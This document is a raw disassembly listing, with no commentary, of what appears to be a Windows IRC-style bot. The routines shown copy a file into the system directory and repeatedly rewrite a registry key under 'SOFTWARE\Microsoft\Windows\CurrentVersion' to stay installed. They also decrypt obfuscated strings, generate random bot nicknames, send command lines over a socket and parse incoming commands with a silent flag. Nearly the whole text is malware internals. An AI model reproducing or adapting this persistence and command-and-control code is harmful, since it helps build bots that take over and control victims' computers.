mov esi, ecx
xor ecx, ecx
add [ebx], ebp
adc [ebx+4], ecx
mov edx, [ebx+4]
cmp edx, ecx
ja short loc_416C9B
jb short loc_416C93
mov ecx, [ebx]
cmp ecx, ebp
jnb short loc_416C9B
loc_416C93: ; CODE XREF: sub_416C60+2Bj
add dword ptr [ebx+8], 1
adc dword ptr [ebx+0Ch], 0
loc_416C9B: ; CODE XREF: sub_416C60+29j
; sub_416C60+31j
cmp ebp, edi
jb loc_416D3F
loc_416CA3: ; CODE XREF: sub_416C60+D9j
push edi
lea edx, [ebx+eax+50h]
push esi
push edx
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
add esi, edi
add esp, 0Ch
sub ebp, edi
mov [esp+1Ch+var_4], esi
mov [esp+1Ch+arg_0], ebp
mov edi, 80h
mov [esp+1Ch+var_8], 0
mov esi, 10h
lea edx, [ebx+0D0h]
loc_416CD6: ; CODE XREF: sub_416C60+BCj
mov eax, [edx-8]
mov ecx, [edx-4]
sub edx, 8
mov ebx, eax
sub esi, 1
ror ebx, 8
and ebx, 0FF00FF00h
rol eax, 8
and eax, 0FF00FFh
or ebx, eax
mov ebp, ecx
xor eax, eax
ror ebp, 8
and ebp, 0FF00FF00h
rol ecx, 8
and ecx, 0FF00FFh
or ebp, ecx
xor ecx, ecx
or eax, ebp
or ebx, ecx
test esi, esi
mov [edx], eax
mov [edx+4], ebx
jnz short loc_416CD6
mov ebx, [esp+1Ch+arg_4]
push ebx
call sub_4143D0
mov ebp, [esp+20h+arg_0]
mov eax, [esp+20h+var_8]
mov esi, [esp+20h+var_4]
add esp, 4
cmp ebp, edi
jnb loc_416CA3
loc_416D3F: ; CODE XREF: sub_416C60+3Dj
push ebp
lea edx, [eax+ebx+50h]
push esi
push edx
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
sub_416C60 endp
; ---------------------------------------------------------------------------
align 10h
push ecx
push eax
call sub_416AE0
add esp, 4
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416D6C(int,int,int,__int16,int,int,int,int,void *Memory,int,char)
sub_416D6C proc near ; CODE XREF: sub_416D6C+D5p
; .text:0041B05Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
Memory = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_416D85
mov ecx, [ebp+arg_4]
shr ecx, 18h
or cl, 1
jmp short loc_416D8B
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D6C+Cj
mov cl, byte ptr [ebp+arg_4+3]
and cl, 0FEh
loc_416D8B: ; CODE XREF: sub_416D6C+17j
movzx eax, word ptr [ebp+arg_24]
mov ebx, [ebp+Memory]
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_416DA8
lea edx, [ebx+18h]
mov [ebp+arg_14], ebx
or cl, 2
mov [ebp+arg_2B], 0
jmp short loc_416DB9
; ---------------------------------------------------------------------------
loc_416DA8: ; CODE XREF: sub_416D6C+2Bj
mov dx, word ptr [ebp+arg_24]
add eax, 0FFFFFFE8h
mov [ebp+arg_14], eax
and cl, 0FDh
mov [ebp+arg_2B], 1
loc_416DB9: ; CODE XREF: sub_416D6C+3Aj
movzx eax, dx
push eax ; Size
mov byte ptr [ebp+arg_4+3], cl
mov [ebp+arg_C], dx
mov [ebp+var_4], eax
call _malloc
test eax, eax
pop ecx
mov [ebp+Memory], eax
jz loc_416E58
push 6
pop ecx
mov edi, eax
lea esi, [ebp+arg_4]
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
add esp, 0Ch
push 0
lea eax, [ebp+var_8]
push eax
push [ebp+var_4]
push [ebp+Memory]
push [ebp+arg_0]
call ds:dword_41D088 ; WriteFile
test eax, eax
jz short loc_416E4F
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_416E4F
push [ebp+Memory] ; Memory
call _free
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_416E4B
push 0 ; char
push [ebp+arg_24] ; int
sub ebx, edi
push ebx ; Memory
add edi, esi
push edi ; int
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0] ; int
lea esi, [ebp+arg_4]
rep movsd
call sub_416D6C
add esp, 2Ch
jmp short loc_416E5A
; ---------------------------------------------------------------------------
loc_416E4B: ; CODE XREF: sub_416D6C+B8j
mov al, 1
jmp short loc_416E5A
; ---------------------------------------------------------------------------
loc_416E4F: ; CODE XREF: sub_416D6C+A1j
; sub_416D6C+A9j
push [ebp+Memory] ; Memory
call _free
pop ecx
loc_416E58: ; CODE XREF: sub_416D6C+66j
xor al, al
loc_416E5A: ; CODE XREF: sub_416D6C+DDj
; sub_416D6C+E1j
pop edi
pop esi
pop ebx
leave
retn
sub_416D6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E5F proc near ; CODE XREF: sub_416F86+154p
; sub_417119+152p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
lea eax, [ebp+var_4]
push eax
push ebx
push 0F003Fh
push ebx
push ebx
push ebx
push [ebp+arg_0]
push 80000002h
call ds:dword_41D004 ; RegCreateKeyExA
test eax, eax
jz short loc_416E94
push [ebp+var_4]
call ds:dword_41D010 ; RegCloseKey
xor al, al
loc_416E91: ; CODE XREF: sub_416E5F+68j
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416E94: ; CODE XREF: sub_416E5F+25j
mov eax, [ebp+arg_8]
push esi
lea esi, [eax+1]
loc_416E9B: ; CODE XREF: sub_416E5F+41j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_416E9B
sub eax, esi
push eax
push [ebp+arg_8]
push 1
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call ds:dword_41D00C ; RegSetValueExA
test eax, eax
pop esi
jz short loc_416EC9
loc_416EBC: ; CODE XREF: sub_416E5F+6Cj
push [ebp+var_4]
call ds:dword_41D010 ; RegCloseKey
mov al, bl
jmp short loc_416E91
; ---------------------------------------------------------------------------
loc_416EC9: ; CODE XREF: sub_416E5F+5Bj
mov bl, 1
jmp short loc_416EBC
sub_416E5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416ECD(char,int,int,void *,size_t)
sub_416ECD proc near ; CODE XREF: sub_416F86+113p
; sub_417119+100p ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push 1
push 0
push [ebp+arg_4]
push 80000002h
call ds:dword_41D02C ; RegOpenKeyExA
test eax, eax
jnz short loc_416F15
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
lea eax, [ebp+arg_0]
push eax
push 0
push [ebp+arg_8]
push [ebp+var_4]
call ds:dword_41D008 ; RegQueryValueExA
test eax, eax
jnz short loc_416F15
push [ebp+var_4]
call ds:dword_41D010 ; RegCloseKey
mov al, 1
leave
retn
; ---------------------------------------------------------------------------
loc_416F15: ; CODE XREF: sub_416ECD+1Cj
; sub_416ECD+39j
push [ebp+var_4]
call ds:dword_41D010 ; RegCloseKey
push [ebp+arg_10] ; size_t
push 0 ; int
push [ebp+arg_C] ; void *
call _memset
add esp, 0Ch
xor al, al
leave
retn
sub_416ECD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F32 proc near ; CODE XREF: sub_419477+134p
; sub_419A9F+F2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
lea eax, [ebp+var_4]
push eax
push ebx
push 0F003Fh
push ebx
push ebx
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_41D004 ; RegCreateKeyExA
test eax, eax
jz short loc_416F65
push [ebp+var_4]
call ds:dword_41D010 ; RegCloseKey
xor al, al
loc_416F62: ; CODE XREF: sub_416F32+4Ej
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416F65: ; CODE XREF: sub_416F32+23j
push [ebp+arg_8]
push [ebp+var_4]
call ds:dword_41D000 ; RegDeleteValueA
test eax, eax
jz short loc_416F82
loc_416F75: ; CODE XREF: sub_416F32+52j
push [ebp+var_4]
call ds:dword_41D010 ; RegCloseKey
mov al, bl
jmp short loc_416F62
; ---------------------------------------------------------------------------
loc_416F82: ; CODE XREF: sub_416F32+41j
mov bl, 1
jmp short loc_416F75
sub_416F32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=94h
sub_416F86 proc near ; CODE XREF: .text:loc_41BF0Dp
var_114 = dword ptr -114h
Memory = dword ptr -110h
Dest = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_4 = dword ptr -4
push ebp
lea ebp, [esp-94h]
sub esp, 114h
mov eax, dword_423064
xor eax, ebp
mov [ebp+94h+var_4], eax
push ebx
push esi
push edi
mov edi, 100h
push edi ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
mov esi, eax
push edi ; unsigned int
mov [ebp+94h+Memory], esi
call j_??2@YAPAXI@Z ; operator new(uint)
push edi ; unsigned int
mov [ebp+94h+var_108], eax
call j_??2@YAPAXI@Z ; operator new(uint)
push edi ; unsigned int
mov [ebp+94h+var_114], eax
call j_??2@YAPAXI@Z ; operator new(uint)
push [ebp+94h+var_114] ; void *
mov [ebp+94h+Dest], eax
call __msize
push eax ; size_t
xor ebx, ebx
push ebx ; int
push [ebp+94h+var_114] ; void *
call _memset
push [ebp+94h+Dest] ; void *
call __msize
push eax ; size_t
push ebx ; int
push [ebp+94h+Dest] ; void *
call _memset
push edi ; size_t
lea eax, [ebp+94h+var_104]
push ebx ; int
push eax ; void *
call _memset
push esi ; void *
call __msize
add esp, 40h
push eax ; size_t
push ebx ; int
push esi ; void *
call _memset
push [ebp+94h+var_108] ; void *
call __msize
push eax ; size_t
push ebx ; int
push [ebp+94h+var_108] ; void *
call _memset
push esi ; void *
call __msize
push eax
mov ebx, offset byte_425119
call sub_4196D1
mov esi, [ebp+94h+var_108]
push esi ; void *
call __msize
push eax
mov ebx, offset byte_425061
call sub_4196D1
mov ebx, [ebp+94h+var_114]
push ebx ; void *
call __msize
add esp, 30h
dec eax
push eax
push ebx
call ds:dword_41D0F4 ; GetSystemDirectoryA
push esi
mov esi, [ebp+94h+Dest]
push ebx
push offset Format ; "%s\\%s"
push esi ; void *
call __msize
pop ecx
dec eax
push eax ; Count
push esi ; Dest
call __snprintf
mov eax, esi
add esp, 14h
lea ecx, [eax+1]
loc_41707E: ; CODE XREF: sub_416F86+FDj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41707E
sub eax, ecx
push edi ; size_t
mov [eax+esi], dl
lea eax, [ebp+94h+var_104]
push eax ; void *
push [ebp+94h+Memory] ; int
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 1 ; char
call sub_416ECD
add esp, 14h
test al, al
jz short loc_4170D1
lea eax, [ebp+94h+var_104]
mov ecx, esi
loc_4170AA: ; CODE XREF: sub_416F86+13Cj
mov dl, [ecx]
cmp dl, [eax]
jnz short loc_4170C8
test dl, dl
jz short loc_4170C4
mov dl, [ecx+1]
cmp dl, [eax+1]
jnz short loc_4170C8
inc ecx
inc ecx
inc eax
inc eax
test dl, dl
jnz short loc_4170AA
loc_4170C4: ; CODE XREF: sub_416F86+12Cj
xor eax, eax
jmp short loc_4170CD
; ---------------------------------------------------------------------------
loc_4170C8: ; CODE XREF: sub_416F86+128j
; sub_416F86+134j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_4170CD: ; CODE XREF: sub_416F86+140j
test eax, eax
jz short loc_4170E2
loc_4170D1: ; CODE XREF: sub_416F86+11Dj
push esi
push [ebp+94h+Memory]
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
call sub_416E5F
add esp, 0Ch
loc_4170E2: ; CODE XREF: sub_416F86+149j
push [ebp+94h+Memory] ; Memory
call j_j__free
push [ebp+94h+var_108] ; Memory
call j_j__free
push ebx ; Memory
call j_j__free
push esi ; Memory
call j_j__free
mov ecx, [ebp+94h+var_4]
add esp, 10h
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
add ebp, 94h
leave
retn
sub_416F86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_417119 proc near ; DATA XREF: .text:0041BF1Eo
var_504 = byte ptr -504h
var_404 = byte ptr -404h
var_403 = byte ptr -403h
var_304 = byte ptr -304h
var_303 = byte ptr -303h
var_204 = dword ptr -204h
Dest = byte ptr -104h
var_103 = byte ptr -103h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 504h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
push edi
mov esi, 0FFh
xor ebx, ebx
push esi ; size_t
lea eax, [ebp+var_204+1]
push ebx ; int
push eax ; void *
mov byte ptr [ebp+var_204], bl
call _memset
push esi ; size_t
lea eax, [ebp+var_403]
push ebx ; int
push eax ; void *
mov [ebp+var_404], bl
call _memset
push esi ; size_t
lea eax, [ebp+var_303]
push ebx ; int
push eax ; void *
mov [ebp+var_304], bl
call _memset
push esi ; size_t
lea eax, [ebp+var_103]
push ebx ; int
push eax ; void *
mov [ebp+Dest], bl
call _memset
add esp, 30h
mov edi, 100h
loc_41718E: ; CODE XREF: sub_417119+1AEj
push edi
lea esi, [ebp+var_204]
mov ebx, offset byte_425119
call sub_4196D1
push edi
lea esi, [ebp+var_404]
mov ebx, offset byte_425061
call sub_4196D1
pop ecx
pop ecx
mov esi, 0FFh
push esi
lea eax, [ebp+var_304]
push eax
call ds:dword_41D0F4 ; GetSystemDirectoryA
lea eax, [ebp+var_404]
push eax
lea eax, [ebp+var_304]
push eax
push offset aSS_1 ; "%s\\%s"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 14h
lea ecx, [eax+1]
loc_4171F1: ; CODE XREF: sub_417119+DDj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_4171F1
sub eax, ecx
xor ebx, ebx
mov [ebp+eax+Dest], bl
push edi ; size_t
lea eax, [ebp+var_504]
push eax ; void *
lea eax, [ebp+var_204]
push eax ; int
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 1 ; char
call sub_416ECD
add esp, 14h
test al, al
jz short loc_417258
lea ecx, [ebp+var_504]
lea eax, [ebp+Dest]
loc_417231: ; CODE XREF: sub_417119+130j
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_41724F
cmp dl, bl
jz short loc_41724B
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_41724F
inc eax
inc eax
inc ecx
inc ecx
cmp dl, bl
jnz short loc_417231
loc_41724B: ; CODE XREF: sub_417119+120j
xor eax, eax
jmp short loc_417254
; ---------------------------------------------------------------------------
loc_41724F: ; CODE XREF: sub_417119+11Cj
; sub_417119+128j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417254: ; CODE XREF: sub_417119+134j
cmp eax, ebx
jz short loc_417273
loc_417258: ; CODE XREF: sub_417119+10Aj
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_204]
push eax
push offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
call sub_416E5F
add esp, 0Ch
loc_417273: ; CODE XREF: sub_417119+13Dj
push edi ; size_t
lea eax, [ebp+var_304]
push ebx ; int
push eax ; void *
call _memset
push edi ; size_t
lea eax, [ebp+Dest]
push ebx ; int
push eax ; void *
call _memset
push edi ; size_t
lea eax, [ebp+var_504]
push ebx ; int
push eax ; void *
call _memset
push edi ; size_t
lea eax, [ebp+var_204]
push ebx ; int
push eax ; void *
call _memset
push edi ; size_t
lea eax, [ebp+var_404]
push ebx ; int
push eax ; void *
call _memset
add esp, 3Ch
push 3A98h
call ds:dword_41D0FC ; Sleep
jmp loc_41718E
sub_417119 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4172CC(char *Format,char Args)
sub_4172CC proc near ; CODE XREF: sub_41783D+24Fp
; sub_41783D+323p ...
Dest = byte ptr -204h
var_203 = byte ptr -203h
var_4 = dword ptr -4
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 204h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push esi
mov esi, 1FFh
push esi ; size_t
lea eax, [ebp+var_203]
push 0 ; int
push eax ; void *
mov [ebp+Dest], 0
call _memset
lea eax, [ebp+Args]
push eax ; Args
push [ebp+Format] ; Format
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+Dest]
add esp, 1Ch
lea esi, [eax+1]
loc_41731B: ; CODE XREF: sub_4172CC+54j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41731B
sub eax, esi
mov [ebp+eax+Dest], cl
lea eax, [ebp+Dest]
lea esi, [eax+1]
loc_417334: ; CODE XREF: sub_4172CC+6Dj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417334
push 0
sub eax, esi
push eax
lea eax, [ebp+Dest]
push eax
push dword ptr [edi]
call ds:dword_41D228 ; send
mov ecx, [ebp+var_4]
test eax, eax
setnz al
xor ecx, ebp
pop esi
call sub_402710
leave
retn
sub_4172CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417361(int,char,int,char *Format,char Args)
sub_417361 proc near ; CODE XREF: sub_40177B+268p
; sub_4019F3+21Ap ...
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_403 = byte ptr -403h
Dest = byte ptr -204h
var_203 = byte ptr -203h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
Format = dword ptr 14h
Args = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 40Ch
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push edi
mov [ebp+var_408], eax
mov eax, [ebp+arg_8]
mov edi, 1FFh
xor ebx, ebx
push edi ; size_t
mov [ebp+var_40C], eax
lea eax, [ebp+var_203]
push ebx ; int
push eax ; void *
mov [ebp+Dest], bl
call _memset
push edi ; size_t
lea eax, [ebp+var_403]
push ebx ; int
push eax ; void *
mov [ebp+var_404], bl
call _memset
add esp, 18h
cmp [ebp+arg_4], 1
jz loc_41747D
push esi
push 0Dh ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
mov esi, eax
lea eax, [ebp+Args]
push eax ; Args
push [ebp+Format] ; Format
lea eax, [ebp+var_404]
push edi ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+var_404]
add esp, 14h
lea ecx, [eax+1]
loc_4173EE: ; CODE XREF: sub_417361+92j
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_4173EE
sub eax, ecx
push esi ; void *
mov [ebp+eax+var_404], bl
call __msize
push eax
mov ebx, offset aJzgdDDZndvzeag ; "Ѧ§£¤Ö¤Ô¤ÐÔÓÑЧ¤¢§¥ ££ÑÖÐצӥ֢Ӭ£ÔÖ¡"...
call sub_4196D1
lea eax, [ebp+var_404]
push eax
push [ebp+var_40C]
lea eax, [ebp+Dest]
push esi
push offset aSSS_0 ; "%s %s %s\r\n"
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 20h
lea ecx, [eax+1]
loc_41743B: ; CODE XREF: sub_417361+DFj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41743B
sub eax, ecx
push esi ; Memory
mov [ebp+eax+Dest], dl
call j_j__free
pop ecx
lea eax, [ebp+Dest]
lea ecx, [eax+1]
pop esi
loc_41745C: ; CODE XREF: sub_417361+100j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41745C
sub eax, ecx
push 0
push eax
lea eax, [ebp+Dest]
push eax
mov eax, [ebp+var_408]
push dword ptr [eax]
call ds:dword_41D228 ; send
loc_41747D: ; CODE XREF: sub_417361+5Dj
mov ecx, [ebp+var_4]
pop edi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_417361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41748B proc near ; CODE XREF: sub_41802F+23Bp
; sub_41829C+39p
var_48 = dword ptr -48h
var_44 = byte ptr -44h
var_40 = byte ptr -40h
var_3F = byte ptr -3Fh
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 48h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push esi
push edi
xor eax, eax
mov [ebp+var_40], 0
lea edi, [ebp+var_3F]
stosw
stosb
push 0Dh
pop ecx
mov esi, offset aQwertyuiopasdf ; "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJ"...
lea edi, [ebp+var_3C]
rep movsd
lea eax, [ebp+var_48]
push eax
movsb
call ds:dword_41D1EC ; GetCursorPos
call ds:dword_41D108 ; GetTickCount
mov ecx, [ebp+var_48]
mov edx, dword ptr [ebp+var_44] ; char
add ecx, edx
cmp eax, ecx
jb short loc_4174D7
add ecx, eax
jmp short loc_4174D9
; ---------------------------------------------------------------------------
loc_4174D7: ; CODE XREF: sub_41748B+46j
sub ecx, eax
loc_4174D9: ; CODE XREF: sub_41748B+4Aj
push ecx ; Seed
call _srand
pop ecx
push 8
pop ecx
xor eax, eax
mov edi, ebx
rep stosd
push offset asc_420310 ; "["
stosw
push 22h ; Count
push ebx ; Dest
stosb
call __snprintf
mov eax, ebx
add esp, 0Ch
lea esi, [eax+1]
loc_417501: ; CODE XREF: sub_41748B+7Bj
mov cl, [eax] ; unsigned int
inc eax
test cl, cl
jnz short loc_417501
xor edi, edi
sub eax, esi
push edi
mov [eax+ebx], cl
push 4
pop ecx
lea esi, [ebp+var_40]
call sub_418E51
pop ecx
mov eax, esi
push eax
push ebx
push offset aSS_2 ; "%s%s|"
push 22h ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 14h
lea esi, [eax+1]
loc_417535: ; CODE XREF: sub_41748B+AFj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417535
sub eax, esi
push edi
push 4
lea esi, [ebp+var_40]
mov [eax+ebx], cl
call sub_418E1F
mov eax, esi
push eax
push ebx
push offset aSS_3 ; "%s%s|"
push 22h ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 1Ch
lea esi, [eax+1]
loc_417565: ; CODE XREF: sub_41748B+DFj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417565
sub eax, esi
mov [eax+ebx], cl
call sub_419347
test al, al
jz short loc_41759C
push ebx
push offset aSp ; "%sP|"
push 22h ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 10h
lea esi, [eax+1]
loc_417590: ; CODE XREF: sub_41748B+10Aj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417590
sub eax, esi
mov [eax+ebx], cl
loc_41759C: ; CODE XREF: sub_41748B+EDj
call sub_418DA0
mov eax, dword_42659C
cmp eax, edi
mov ecx, dword_426598
jg short loc_4175D8
jl short loc_4175B7
cmp ecx, 0Ah
jnb short loc_4175D8
loc_4175B7: ; CODE XREF: sub_41748B+125j
push eax
push ecx
push ebx
push offset aS0I64u ; "%s0%I64u|"
push 22h ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 18h
lea esi, [eax+1]
loc_4175CF: ; CODE XREF: sub_41748B+149j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_4175CF
jmp short loc_4175F7
; ---------------------------------------------------------------------------
loc_4175D8: ; CODE XREF: sub_41748B+123j
; sub_41748B+12Aj
push eax
push ecx
push ebx
push offset aSI64u ; "%s%I64u|"
push 22h ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 18h
lea esi, [eax+1]
loc_4175F0: ; CODE XREF: sub_41748B+16Aj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_4175F0
loc_4175F7: ; CODE XREF: sub_41748B+14Bj
sub eax, esi
mov byte ptr [eax+ebx], 0
xor esi, esi
cmp dword_42521C, edi
jle short loc_417644
loc_417607: ; CODE XREF: sub_41748B+1B7j
call _rand
push 31h
pop ecx
xor edx, edx
div ecx
movsx eax, [ebp+edx+var_3C]
push eax
push ebx
push offset aSC ; "%s%c"
push 22h ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 14h
lea edi, [eax+1]
loc_41762F: ; CODE XREF: sub_41748B+1A9j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41762F
sub eax, edi
inc esi
mov [eax+ebx], cl
cmp esi, dword_42521C
jl short loc_417607
loc_417644: ; CODE XREF: sub_41748B+17Aj
push ebx
push offset aS_4 ; "%s]"
push 22h ; Count
push ebx ; Dest
call __snprintf
mov eax, ebx
add esp, 10h
lea esi, [eax+1]
loc_41765A: ; CODE XREF: sub_41748B+1D4j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41765A
sub eax, esi
mov [eax+ebx], cl
mov ecx, [ebp+var_4]
pop edi
xor ecx, ebp
mov eax, ebx
pop esi
call sub_402710
leave
retn
sub_41748B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_417676(int,int,int,int,int,char *Str)
sub_417676 proc near ; CODE XREF: sub_41783D+6A7p
Dest = dword ptr -820h
var_81C = dword ptr -81Ch
var_20 = byte ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
Str = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 824h
push ebx
push esi
push edi
push offset Delim ; " "
push [ebp+Str] ; Str
xor ebx, ebx
mov byte ptr [ebp+var_8], 0
mov [ebp+var_4], ebx
call _strtok
jmp short loc_4176D8
; ---------------------------------------------------------------------------
loc_41769A: ; CODE XREF: sub_417676+68j
mov eax, [ebp+var_4]
push offset Str2 ; "-s"
push esi ; Str1
mov [ebp+eax*4+Dest], esi
call __stricmp
test eax, eax
pop ecx
pop ecx
jz short loc_4176C6
push offset aS_17 ; "/s"
push esi ; Str1
call __stricmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4176CA
loc_4176C6: ; CODE XREF: sub_417676+3Dj
mov byte ptr [ebp+var_8], 1
loc_4176CA: ; CODE XREF: sub_417676+4Ej
push offset asc_4202D4 ; " "
push ebx ; Str
call _strtok
inc [ebp+var_4]
loc_4176D8: ; CODE XREF: sub_417676+22j
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jnz short loc_41769A
mov edi, [ebp+arg_0]
mov esi, [ebp+Dest]
add edi, 5
mov edx, edi
mov ecx, esi
loc_4176F0: ; CODE XREF: sub_417676+92j
mov al, [ecx]
cmp al, [edx]
jnz short loc_41770E
test al, al
jz short loc_41770A
mov al, [ecx+1]
cmp al, [edx+1]
jnz short loc_41770E
inc ecx
inc ecx
inc edx
inc edx
test al, al
jnz short loc_4176F0
loc_41770A: ; CODE XREF: sub_417676+82j
xor eax, eax
jmp short loc_417713
; ---------------------------------------------------------------------------
loc_41770E: ; CODE XREF: sub_417676+7Ej
; sub_417676+8Aj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417713: ; CODE XREF: sub_417676+96j
cmp eax, ebx
jz short loc_417724
mov eax, edi
mov ecx, esi
call sub_419044
test eax, eax
jz short loc_417750
loc_417724: ; CODE XREF: sub_417676+9Fj
xor eax, eax
cmp [ebp+var_4], ebx
jle short loc_41774D
mov ecx, [ebp+var_4]
dec ecx
loc_41772F: ; CODE XREF: sub_417676+CFj
cmp eax, ecx
jz short loc_417741
mov edx, [ebp+eax*4+var_81C]
mov [ebp+eax*4+Dest], edx
loc_417741: ; CODE XREF: sub_417676+BBj
inc eax
cmp eax, [ebp+var_4]
jl short loc_41772F
mov esi, [ebp+Dest]
loc_41774D: ; CODE XREF: sub_417676+B3j
dec [ebp+var_4]
loc_417750: ; CODE XREF: sub_417676+ACj
cmp byte ptr [ebp+var_8], bl
jz short loc_417758
dec [ebp+var_4]
loc_417758: ; CODE XREF: sub_417676+DDj
mov al, [esi]
cmp al, byte_424FE8
jnz loc_417836
mov eax, esi
lea ecx, [eax+1]
loc_41776B: ; CODE XREF: sub_417676+FAj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41776B
sub eax, ecx
push eax ; Count
lea eax, [esi+1]
push eax ; Source
push esi ; Dest
call _strncpy
mov eax, dword_433C40
mov esi, [eax]
mov ebx, offset dword_433C3C
mov edi, ebx
add esp, 0Ch
mov [ebp+var_C], esi
